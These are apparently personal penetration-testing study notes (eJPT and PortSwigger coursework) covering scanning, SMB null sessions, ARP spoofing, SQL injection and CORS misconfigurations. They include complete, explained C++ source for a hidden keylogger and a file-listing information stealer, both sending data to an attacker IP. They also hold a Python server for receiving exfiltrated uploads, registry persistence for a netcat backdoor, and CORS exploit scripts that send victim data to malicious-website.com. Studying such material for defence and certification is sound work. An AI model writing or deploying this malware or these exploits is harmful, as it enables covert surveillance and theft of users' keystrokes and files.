# Welcome!

{% hint style="info" %}
**Welcome to my GitBook notes!** This collection serves as a valuable resource for anyone looking to supplement their learning journey or prepare for interviews. These notes are derived from various courses, YouTube videos, and articles that I have explored over the years.
{% endhint %}

Within these notes, you'll find insights across diverse topics in Cyber Security, DevOps, and Development, offering a condensed overview of the key concepts and techniques covered in my studies.

<details>

<summary>Cyber Security</summary>

Within the Cyber Security section, you'll find insights and materials covering a wide range of topics. These include Penetration Testing, where I've explored techniques for assessing the security of systems and networks, as well as Web Application Security, which covers best practices for securing web applications. Additionally, I've delved into other areas like Digital Forensics, Intrusion Detection, and more.

Most of these notes are derived from various courses, such as the **eLearnSecurity** eJPTv1 course and the **PortSwigger** Web Security course, as well as practical exercises and learning paths from platforms like **TryHackMe**.

</details>

<details>

<summary>DevOps</summary>

In the DevOps section, you'll find in-depth coverage of Infrastructure as Code (IaC) tools like **Ansible** and **Terraform**, which enable the automation and management of infrastructure deployments. These topics have been gleaned from various YouTube video courses, providing detailed insights and practical knowledge on using these tools effectively.

Additionally, the DevOps section also delves into the world of **Kubernetes**, a powerful container orchestration platform. You'll discover comprehensive information on deploying, scaling, and managing containerized applications using Kubernetes.

</details>

<details>

<summary>Development</summary>

In the Development section, you'll find a wealth of knowledge covering various aspects of software development. Let's explore the different subsections:

* **Blockchain**: I've extensively studied blockchain development through the comprehensive course offered by freeCodeCamp. These studies have provided me with a solid foundation in blockchain technology and its associated concepts, including smart contracts and decentralized applications.
* **Backend**: I've accumulated notes on **Node.js**, allowing me to understand the fundamentals of backend development using this popular JavaScript runtime. These notes serve as a valuable resource for understanding server-side programming and building robust and scalable web applications.
* **Database**: I've covered the basics of **SQL** in detail, enabling me to design and interact with databases effectively. This knowledge provides a strong foundation for data modeling, querying, and ensuring efficient data management.
* **Testing**: My studies have also touched on testing methodologies, with a focus on Test-Driven Development (TDD) principles. Additionally, I've gained proficiency in popular testing frameworks such as **Jest** and **Cypress**, empowering me to write comprehensive tests and ensure the quality and reliability of my code.

</details>

While these notes are not comprehensive guides, they are designed to provide a quick reference or supplementary material for individuals taking related courses or seeking to refresh their knowledge for interviews.

Feel free to navigate through the sections and subtopics that align with your interests or learning objectives. I hope these notes serve as a helpful companion to your educational endeavors.

{% hint style="info" %}
**Happy learning and best of luck with your courses and interviews!**
{% endhint %}


# Penetration Testing


# ELearnSecurity


# eJPT

V1


# Footprinting & Scanning


# Port Scanning

### Open Port Behaviour

Syn -> Syn + Ack -> Ack

***

### Closed Port Behaviour

Syn -> Rst + Ack

***

### Nmap Version Scan (-sV) Behaviour

Syn -> SYN + Ack -> Ack -> Banner -> Rst + Ack

***

### Tcpwrapped Port Status

It means that TCP Handshake was completed but remote host closed the connection without receiving any data. It could be an indicator for **FIREWALL**.

***

### Get Reason for Open or Closed Ports

Use nmap `--reason` switch to show explanation. We may learn from it that remote host sent an `RST` packet during TCP Handshake which probably means firewall prevented the handshake.

***

### Masscan

Useful for large networks to fastly map the network. `masscan -p22,80,443,445,53,8080 -Pn --rate=800 --banners 192.168.18.0/24 -e tap0 --router-ip 192.168.18.1 --echo > masscan.conf`

* rate means 800 packets per second
* banners used to fingerprint services
* `-e` tells which network interface to use
* `-echo` file generates a template to use for scan
  * Can be used with `-c` switch

***


# Mapping Networks

Ping Sweeping to check which hosts are alive in network or not.

***

### Fping

`fping -a -g IPRANGE`

* `-a` used to check for alive hosts
* `-g` to perform ping sweep instead of normal ping

***

### Nmap

`nmap -sn -iL hostlists.txt`

* `-iL` to read hosts from file

***


# Information Gathering


# Subdomain Enumeration

### dnsdumpster.com

utilizes data from google-indexed subdomains, bing and other sources.

Give sub domains, dns records and other information

***

### VirusTotal.com

It also caches websites dns records, subdomains etc.

***

### Crt.sh

It collects information about ssl records, from which we can extract subdomain details along with dns records.

***

### Sublist3r

Cli tool to collect dns data, subdomains, etc from various sources. Easily blocked by google.

***

### Amaas

Cli tool containing many features such as checking zone transfers, dns records, subdomains, bruteforce etc.

***


# Network Attacks


# Arp Poisoning

### Introduction

It works by sending Gratious Arp Replies to the target machine which enables them to update their arp cache with fake information. Every 30s, an arp reply is sent to update the table.

***

### Dnsiff Arpspoof

1. Enable IP Forwarding

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

THen run arpspoof

```
arpspoof -i <interface> -t <target> -r <host>
```

Target and hosts are victim ip addresses . Finally, wireshark can be run to view the trafffic.

***


# Null Sessions

### Introduction

**THIS ATTACK ONLY WORKS ON LEGACY WINDOWS SYSTEMS**

These attacks can be used to enumerate

* Passwords
* System Users
* System Groups
* Running System Processes

Null sessions are remotely exploitable, they can be used to call remote apis and remote procedure calls,

***

### Enumerating Windows Shares

#### Service Enumeration using nbtstat (windows)

```
nbtstat -A IP
```

Analyzing Output Codes

* `<00>` means machine is a workstation
* `<UNIQUE>` means only 1 ip is assigned
* `<20>` tells us that file sharing service is up and running on the machine

#### Shares Enumeration using Net View (windows)

```
NET VIEW IP
```

#### Service Enumeration using nmblookup (linux)

```
nmblookup -A IP
```

#### Shares Enumeration using smbclient (linux)

```
smbclient -L //IP -N
```

* -N forces tool to not ask for password
* This tool also list **administrative shares** that are hidden by using windows tools.

***

### Checking for Null Sessions

We try to connect to `ipc$` administrative share without valid credentials. These don't work with `C$`

#### Windows

```
NET USE \\IP\IPC$ '' /u:''
```

This tells windows to connect with empty password and empty username.

#### Linux

```
smbclient //IP/IPC$ -N
```

***

### Exploiting with [Enum](http://packetstormsecurity.com/search/?q=win32+enum\&s=files) Script

It can be run from windows cmd.

```
enum -S ip
```

-S lets you enumerate shares of machine, it enumerates admin shares too

```
enum -U ip
```

-U enumerates the users

```
enum -P ip
```

-P tells you about the password policy which is useful for password cracking.

***

### Exploiting with [Winfo](http://packetstormsecurity.com/search/?q=winfo\&s=files) Script

It is also a cli script used to automate null session attack

```
winfo ip -n
```

***

### Exploiting with Enum4Linux

It is also used to attack null sessions.

***


# Windows Shares

### Netbios

Network Basic Input Output System. It can supply name for

* Hostname
* NetBIOS name
* Domain
* Network Shares

#### Features

It uses 3 ports

1. TCP 139
   1. Used to transmit data
2. Udp Port 138
   1. Used for NetBIOS Datagrams
   2. Datagrams are used to list shares and the machines
3. Udp Port 137
   1. Used for NetBIOS Names
   2. Names are used to find workgroups

***

### UNC Paths

UNC stands for Universal Naming Convention Paths. An authorized user can access shares by using UNC. Its format is

```
\\ServerName\ShareName\File.dat
```

***

### Administrative Shares

They are used by system admins and windows itself

1. `\\ComputerName\C$`
   1. Lets an admin access a volume on the machine.
   2. Every volume has a share e.g 'D$, E$ etc'
2. `\\ComputerName\admin$`
   1. Points to windows install directory
3. `\\ComputerName\ipc$`
   1. Used for inter process communication
   2. It can not be browsed via windows explorer

***


# Authentication Cracking

### Hydra

#### Get Detailed info on specific module

Use `-U` switch

```
hydra -U rdp
```

***


# Networking


# Python Server to Receive Exfiltrated Data

### Data Exfiltration

The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they’ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.

***

### Server Code

```python
#!/usr/bin/python

import SimpleHTTPServer
import BaseHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_PUT(self):
        print self.headers
        length = int(self.headers["Content-Length"])
        path = self.translate_path(self.path)
        with open(path, "wb") as dst:
            dst.write(self.rfile.read(length))

if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)
```

***

### Client Code

```bash
Curl IP --upload-file file.zip
```

***


# CLI Tool to interact with HTTP/HTTPS

### Http Interaction (Netcat)

You can interact with an http website using netcat

```bash
$ nc -v elearnsecurity.com 80
GET / HTTP/1.1
Host: www.elearnsecurity.com

--Response--
```

***

### Https Interaction (Openssl)

Since, netcat does not support ssl/tls, we use openssl client to interact with https enabled websites.

```bash
$ openssl s_client -connect elearnsecurity.com:443
GET / HTTP/1.1
Host: www.elearnsecurity.com

--Response--
```

Some interesting openssl flags are -quiet to disable handshake showing and -debug to see the handshake details

You can also use `OPTIONS / HTTP/1.1` to see all the available options that website accepts.

***


# Programming


# C++ Keylogger

### Code

```cpp
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY;

    WSADATA WSAData;
    SOCKET server;
    SOCKADDR_IN addr;

    WSAStartup(MAKEWORD(2, 0), &WSAData);
    server = socket(AF_INET, SOCK_STREAM, 0);

    addr.sin_addr.s_addr = inet_addr("10.10.15.2");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5555);

    connect(server, (SOCKADDR *)&addr, sizeof(addr));

    while (true) {
        Sleep(10);
        for (int KEY = 0x8; KEY < 0xFF; KEY++)
        {
            if (GetAsyncKeyState(KEY) & 0x8000) {
                char buffer[2];
                buffer[0] = KEY;
                send(server, buffer, sizeof(buffer), 0);
            }
        }
    }

    closesocket(server);
    WSACleanup();
}
```

***

### Compilation

Add the flag **-lws2\_32** for the linker:

***

### Description:

The above code would send the keystrokes (only printable characters) of the user to the attacker's machine over a TCP connection, on port 5555.

On the attacker's end, we will be using netcat to setup a listener on port 5555 and receive the data sent by the keylogger program.

***

### Explanation:

#### Snippet 1:

```cpp
#define _WINSOCK_DEPRECATED_NO_WARNINGS
```

Explanation: We use winsock utilities and we do not want the compiler to complain about older functionalities used, since the below code is sufficient for our needs.

#### Snippet 2:

```cpp
#pragma comment(lib, "Ws2_32.lib")
```

Explanation: We need the Ws2\_32.lib library in order to use sockets (networking) functionality in Windows.

#### Snippet 3:

```cpp
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
```

Explanation: Here we have included some header files. These are:

* **iostream:** includes standard input/output utilities
* **winsock2.h:** includes networking utilities
* **stdio.h:** includes standard input/output utilities (needed for perror())
* **stdlib.h:** includes standard input/output utilities
* **Windows.h:** includes Windows libraries

#### Snippet 4:

```cpp
ShowWindow(GetConsoleWindow(), SW_HIDE);
```

Explanation: To hide the program window so that it's not obvious to the victim that this program is running!

#### Snippet 5:

```cpp
char KEY;
```

Explanation: This variable would hold a single key, for which we would check the status (if it's pressed or not).

#### Snippet 6:

```cpp
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
```

* WSADATA: This data type (it's a struct) holds information about windows socket implementation.
* SOCKET: This data type stores the connection of the SOCKET type.
* SOCKADDR\_IN: This data type (it's a struct) holds the details of socket connection.

This must make clear what the purpose of the variables mentioned in the above snippet would be.

#### Snippet 7:

```cpp
WSAStartup(MAKEWORD(2, 0), &WSAData);
```

Explanation: Initialize usage of the winsock library (needed for opening a network connection).

#### Snippet 8:

```cpp
server = socket(AF_INET, SOCK_STREAM, 0);
```

Explanation: Set up a TCP socket. AF\_INET means address family for IPv4. SOCK\_STREAM means that we want a TCP socket.

#### Snippet 9:

```cpp
addr.sin_addr.s_addr = inet_addr("10.10.15.2");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
```

Explanation: The above snippet would set the IP address of the target we wish to sent the data to (that would be the attacker's IP address). The port used would be 5555 and the IP address is IPv4 which is indicated by AF\_INET.

#### Snippet 10:

```cpp
connect(server, (SOCKADDR *)&addr, sizeof(addr));
```

Explanation: Connect to the previously set up target host/port.

#### Snippet 11:

```cpp
while (true) {
    Sleep(10);
    for (int KEY = 0x8; KEY < 0xFF; KEY++)
    {
        if (GetAsyncKeyState(KEY) & 0x8000) {
            char buffer[2];
            buffer[0] = KEY;
            send(server, buffer, sizeof(buffer), 0);
        }
    }
}
```

Explanation: The above snippet would run an infinite loop and and check if any of the keys in the range (0x8 to 0xFF). Then the GetAsyncKeyState function checks if that key is in pressed state (check the 2nd point of the note below). If the key we checked for is in pressed state, send the pressed key's ASCII value to the attacker over the established TCP socket.

Note: 1. If you are wondering why 0x1-0x7 are not included, check the list of virtual keycodes here. The range of keycodes from 0x1-0x7 are uninteresting from a keylogger's perspective and that's why they are ignored! If you wish to log only the printable characters, you can further narrow down the range of the loop.

As per the GetAsyncKeyState function's documentation: If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior

So if the most significant bit was set, the key is currently pressed! And that's what & 0x8000 does. It checks if the MSB is set to 1.

If you notice, there's a call to Sleep function as well. That would prevent this keylogger to consume a lot of CPU cycles and thus prevent spiking the CPU usage, which could slow down the machine and even give an indication to the victim that something unusual is wrong on!

#### Snippet 12:

```cpp
closesocket(server);
```

Explanation: Close the socket.

#### Snippet 13:

```cpp
WSACleanup();
```

Explanation: Clean up the Winsock library components.

***


# C++ Information Stealer

### Code

```cpp
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string>


char* userDirectory() {
    char* pPath;
    pPath = getenv("USERPROFILE");

    if (pPath!=NULL) {
        return pPath;
    }
    else {
        perror("");
    }
}


int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    WSADATA WSAData;
    SOCKET server;
    SOCKADDR_IN addr;

    WSAStartup(MAKEWORD(2, 0), &WSAData);
    server = socket(AF_INET, SOCK_STREAM, 0);

    addr.sin_addr.s_addr = inet_addr("10.10.15.2");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5555);

    connect(server, (SOCKADDR *)&addr, sizeof(addr));

    char* pPath = userDirectory();
    send(server, pPath, sizeof(pPath), 0);
    send(server, "\n", 1, 0);

    DIR *dir;
    struct dirent *ent;

    if ((dir = opendir(pPath)) != NULL) {
        while ((ent = readdir(dir)) != NULL) {
            send(server, ent->d_name, sizeof(ent->d_name), 0);
            send(server, "\n", 1, 0);
            memset(ent->d_name, 0, sizeof(ent->d_name));
        }
        closedir(dir);
    }
    else {
        perror("");
    }

    closesocket(server);
    WSACleanup();
}
```

***

### Compilation

* Add the flag **-lws2\_32** for the linker

***

### Description

The above code would read the contents of the files in the home directory of the victim user and send it over to the attacker machine by establishing a TCP connection over port 5555.

On the attacker's end, we will be using netcat to setup a listener on port 5555 and receive the data sent by the stealer program.

Now that's a high level overview of the code. Let's dive deeper into the code and understand the parts of it:

***

### Explanation

#### Snippet 1:

```cpp
#define _WINSOCK_DEPRECATED_NO_WARNINGS
```

Explanation: We use winsock utilities and we do not want the compiler to complain about older functionalities used, since the below code is sufficient for our needs.

#### Snippet 2:

```cpp
#pragma comment(lib, "Ws2_32.lib")
```

Explanation: We need the Ws2\_32.lib library in order to use sockets (networking) functionality in Windows.

#### Snippet 3:

```cpp
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string>
```

Explanation: Here we have included some header files. These are:

* **iostream:** includes standard input/output utilities
* **winsock2.h:** includes networking utilities
* **stdio.h:** includes standard input/output utilities (needed for perror())
* **stdlib.h:** includes standard input/output utilities
* **dirent.h:** includes directory utilities
* **string:** includes string utilities

#### Snippet 4:

```cpp
char* userDirectory() {
    char* pPath;
    pPath = getenv("USERPROFILE");

    if (pPath!=NULL) {
        return pPath;
    }
    else {
        perror("");
    }
}
```

Explanation: This function gets the value of %USERPROFILE% environment variable.

Information: The %USERPROFILE% variable contains the path of the user profile folder we have access to (a.k.a. the victim user).

And that's the reason we have set the name of this function as userDirectory, since it returns the path of the user's directory with which this program would be running as!

#### Snippet 5:

```cpp
ShowWindow(GetConsoleWindow(), SW_HIDE);
```

Explanation: To hide the program window so that it's not obvious to the victim that this program is running!

#### Snippet 6:

```cpp
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
```

Explanation: The above code snippet declares 3 variables of different types:

* **WSADATA:** This data type (it's a struct) holds information about windows socket implementation.
* **SOCKET:** This data type stores the connection of the SOCKET type.
* **SOCKADDR\_IN:** This data type (it's a struct) holds the details of socket connection. This must make clear what the purpose of the variables mentioned in the above snippet would be.

#### Snippet 7:

```cpp
WSAStartup(MAKEWORD(2, 0), &WSAData);
```

Explanation: Initialize usage of the winsock library (needed for opening a network connection).

#### Snippet 8:

```cpp
server = socket(AF_INET, SOCK_STREAM, 0);
```

Explanation: Set up a TCP socket. AF\_INET means address family for IPv4. SOCK\_STREAM means that we want a TCP socket.

#### Snippet 9:

```cpp
addr.sin_addr.s_addr = inet_addr("10.10.15.2");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
```

Explanation: The above snippet would set the IP address of the target we wish to sent the data to (that would be the attacker's IP address). The port used would be 5555 and the IP address is IPv4 which is indicated by AF\_INET.

#### Snippet 10:

```cpp
connect(server, (SOCKADDR *)&addr, sizeof(addr));
```

Explanation: Connect to the previously set up target host/port.

#### Snippet 11:

```cpp
char* pPath = userDirectory();
```

Explanation: Get the user directory using the userDirectory function.

#### Snippet 12:

```cpp
send(server, pPath, sizeof(pPath), 0);
send(server, "\n", 1, 0);
```

Explanation: Send the user directory path to the attacker. This is followed by a newline so that the output received by the attacker is properly formatted - 1 entry per line.

#### Snippet 13:

```cpp
DIR *dir;
struct dirent *ent;

if ((dir = opendir(pPath)) != NULL) {
    while ((ent = readdir(dir)) != NULL) {
        send(server, ent->d_name, sizeof(ent->d_name), 0);
        send(server, "\n", 1, 0);
        memset(ent->d_name, 0, sizeof(ent->d_name));
    }
    closedir(dir);
}
else {
    perror("");
}
```

Explanation: The above snippet opens the user's directory and then reads the entries in it. All the entries are then sent back to the attacker's machine over the established TCP socket. A newline is also sent, so that the directory listing is displayed with one entry per line. In case the directory cannot be opened, the program will display the associated error using the call to perror().

There is also a call to `memset` in the `while` loop. That is used to zero out the directory name. The reason is because if you don't do that, the output you get from this program would contain the directory names containing the left overs from the previous directories as well.

#### Snippet 14:

```cpp
closesocket(server);
```

Explanation: Close the socket.

#### Snippet 15:

```cpp
WSACleanup();
```

Explanation: Clean up the Winsock library components.

***


# System Attacks


# Pivoting

### Using Metasploit

First establist a meterpreter sessions, then

1. Run autoroute command to add a route
   1. `run autoroute -s <ip> <subnet>`
2. Confirm by typing `run autoroute -p`
3. Background session
4. `route print`
5. Now use auxillary scanners to target the new ip
6. After you find an open port in new target machine, you can use `portfwd` command inside meterpreter to forward that remote port to local port and continue your enumerations inside metasploit
   1. `portfwd add -l <localport> -p <remoteport> -r <remotehost>`
   2. You can confirm by `portfwd list`

***

### Using Proxychains

First establish a meterpreter sessions, then background it

1. Add a route `route add ip/subnet <session_no>`
2. Use `socks_proxy` auxiliary module to convert the meterpreter session to serve as a socks proxy:
   * ```bash
     use auxiliary/server/socks_proxy
     set VERSION 4a
     set SRVPORT 9050
     run -j
     ```
3. Now anything we sent over port 9050 would be sent over to the network we added to the route
4. Now you can add the port in proxychains and use it.


# Backdoor

### Persisting Netcat Backdoor via Windows Registry

Go to `HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run` and Create a String Value with the exact command in quotes and absoulute path.

***

### Persistance via Metasploit

Use Exploit `s4u_persistence` on an active session in metasploiit.

***


# Vulnerability Assessment

### Introduction

Many tools like

* OpenVAS
* Nexpose
* GFI LAN Guard
* **Nessus**


# Web Attacks


# SQL Injection

### Boolean Based Blind SQLi

#### user()

It returns name of user currently using the db

#### substring()

It returns a substring of given argument. It takes 3 parameters i.e input string, position of substring and its length.

#### Example

```sql
select substring(user(), 1, 1) = 'r'; // True since username is root
select substring(user(), 1, 1) = 'a'; // False
```

We can iterate over letters of the username by using payloads such as

```sql
' or substring(user(), 1, 1) = 'a
' or substring(user(), 2, 1) = 'b
```

***

### Union Based SQLi

Our target is to make the original query payload empty and using our own payload

```sql
Select description from items where id='' UNION Select user(); -- -
```

* We used a trick i.e third dash after **two dashes and a space**
* This is because most browsers auto remove trailing spaces in the URL, so u add a character after the space

#### Steps to find fields

1. use NULL to find out no of columns
2. use different data types to find out type of data returned

***

### SQLMap

It automates the whole process

#### Get Parameter

```bash
sqlmap -u 'http://website.com/view.php?id=123' -p id --technique=U
```

* -p tells us which parameter to check
* technique used is Union based attacks

#### Post Parameter

```bash
sqlmap -u <url> --data=<POST STRING> -p parameter --technique=B
```

* technique used is boolean

***


# HTTP Verbs

### Get

It is used to request a resource. We can also pass arguments to webserver in url using `?`

***

### Post

It is used to submit HTML form data. POST parameters should be in message body

***

### Head

It asks header of the response instead of also getting the body.

***

### Put

It is used to upload a file to the server. It is very dangerous if allowed and misconfigured

```
PUT /path/to/destination HTTP/1.1
Host: www.example.com

<Put Data>
```

#### Exploiting the PUT Method

You have to specify the size of file that you are sending

```bash
$ wc -m payload.php
20 payload.php
```

* -m tells us how long in bytes our payload is.

```bash
$ nc victim_ip port
PUT /payload.php HTTP/1.0
Content-type: text/html
Content-length: 20

<?php phpinfo(); ?>
```

* HTTP/1.0 allows us to skip the **Host:** header

***

### Delete

It is used to remove a file from the server. It is also very dangerous which can lead to denial of service and data loss

```
DELETE /path/to/destination HTTP/1.1
Host: www.example.com
```

***

### Options

It is used to query web server for enabled http verbs.


# Web Server Fingerprinting

### Banner Grabbing

To grab banner, you just have to connect to a listening daemon and then read the banner it send back to your client

#### With Netcat

```bash
$ nc targetip port
HEAD / HTTP/1.0
// Two Empty
// Lines
SERVER RESPONSE
```

***

### Fingerprinting with Httprint

It is a fingerprinting tool which uses **signature based techniques** to identify web servers.

```bash
httprint -P0 -h <target hosts> -s <signature file>
```

* P0 to avoid pinging hosts


# PortSwigger

Web Security Course


# Cross-origin resource sharing (CORS)

### Introduction

* Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain.
* It extends and adds flexibility to the same-origin policy (SOP).
* It also provides potential for cross-domain attacks, if a website's CORS policy is poorly configured and implemented.
* **CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF)**

### Same-origin policy

* The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain.
* It generally allows a domain to issue requests to other domains, but not to access the responses.

#### Why is the same-origin policy necessary?

When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request.

#### Relaxation of the same-origin policy

The same-origin policy is very restrictive and consequently various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. **A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS)**.


# Access-Control-Allow-Origin response header

The Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.

***

### Implementing simple cross-origin resource sharing

`Access-Control-Allow-Origin` header is returned by a server when a website requests a cross-domain resource, with an Origin header added by the browser.

For example, suppose a website with origin normal-website.com causes the following cross-domain request:

```
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com
```

The server on robust-website.com returns the following response:

```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
```

The browser will allow code running on normal-website.com to access the response because the origins match.

The specification of Access-Control-Allow-Origin allows for multiple origins, or the value null, or the wildcard \_. However, no browser supports multiple origins and there are restrictions on the use of the wildcard \_.

***

### Handling cross-origin resource requests with credentials

The default behavior of cross-origin resource requests is for requests to be passed without credentials like cookies and the Authorization header. However, the cross-domain server can permit reading of the response when credentials are passed to it by setting the CORS `Access-Control-Allow-Credentials` header to true. Now if the requesting website uses JavaScript to declare that it is sending cookies with the request:

```
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
```

And the response to the request is:

```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
```

Then the browser will permit the requesting website to read the response, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.

***

### Relaxation of CORS specifications with wildcards

The header `Access-Control-Allow-Origin` supports wildcards.

Fortunately, from a security perspective, the use of the wildcard is restricted in the specification as you cannot combine the wildcard with the cross-origin transfer of credentials (authentication, cookies or client-side certificates). Consequently, a cross-domain server response of the form:

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

**is not permitted** as this would be dangerously insecure, exposing any authenticated content on the target site to everyone.

Given these constraints, some web servers dynamically create Access-Control-Allow-Origin headers based upon the client-specified origin. This is a workaround for CORS constraints that is not secure.

***

### Pre-flight checks

The pre-flight check was added to the CORS specification to protect legacy resources from the expanded request options allowed by CORS. Under certain circumstances, when a cross-domain request includes a non-standard HTTP method or headers, the cross-origin request is preceded by a request using the OPTIONS method, and the CORS protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross-origin request. This is called the pre-flight check. The server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website's method is allowed.

For example, this is a pre-flight request that is seeking to use the PUT method together with a custom request header called Special-Request-Header:

```
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
```

The server might return a response like the following:

```
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```

This response sets out the allowed methods (PUT, POST and OPTIONS) and permitted request headers (Special-Request-Header). In this particular case the cross-domain server also allows the sending of credentials, and the Access-Control-Max-Age header defines a maximum timeframe for caching the pre-flight response for reuse. If the request methods and headers are permitted (as they are in this example) then the browser processes the cross-origin request in the usual way. Pre-flight checks add an extra HTTP request round-trip to the cross-domain request, so they increase the browsing overhead.


# Vulnerabilities arising from Misconfigurations


# Server-generated ACAO header from client-specified Origin header

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. **So some applications take the easy route of effectively allowing access from any other domain**.

One way to do this is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed. For example, consider an application that receives the following request:

```
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
```

It then responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
```

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that **absolutely any domain can access resources from the vulnerable domain**.

If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};
```


# Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. **If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted.**

Mistakes often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations' domains including their subdomains. These rules are often implemented by **matching URL prefixes or suffixes, or using regular expressions**. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:

```
normal-website.com
```

An attacker might be able to gain access by registering the domain:

```
hackersnormal-website.com
```

Alternatively, suppose an application grants access to all domains beginning with

```
normal-website.com
```

An attacker might be able to gain access using the domain:

```
normal-website.com.evil-user.net
```

***


# Whitelisted null origin value

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

* Cross-origin redirects.
* Requests from serialized data.
* Request using the `file:` protocol.
* Sandboxed cross-origin requests.

Some applications might whitelist the null origin to support local development of the application. For example, suppose an application receives the following cross-origin request:

```
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
```

And the server responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

In this situation, an attacker can use various tricks to generate a cross-origin request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access.

For example, this can be done using a sandboxed iframe cross-origin request of the form:

1. Iframe with `src` attribute with HTML Content is cross domain,

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','vulnerable-website.com/sensitive-victim-data',true);
	req.withCredentials = true;
	req.send();

	function reqListener() {
		location='malicious-website.com/log?key='+this.responseText;
	};
</script>"></iframe>
```

2. iframe with `srcDoc` attribute with HTML Content is not cross domain

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','$url/accountDetails',true);
    req.withCredentials = true;
    req.send();

	function reqListener() {
        location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
```


# Exploiting XSS via CORS trust relationships

Even "correctly" configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Given the following request:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
```

If the server responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
